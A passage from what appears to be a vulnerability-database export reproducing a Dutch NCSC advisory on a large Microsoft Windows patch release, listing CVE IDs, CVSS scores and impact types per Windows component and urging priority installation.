|\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:26.899716Z"}, {"uuid": "75dde6ab-e888-4f32-a83a-a13f7977dc5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| 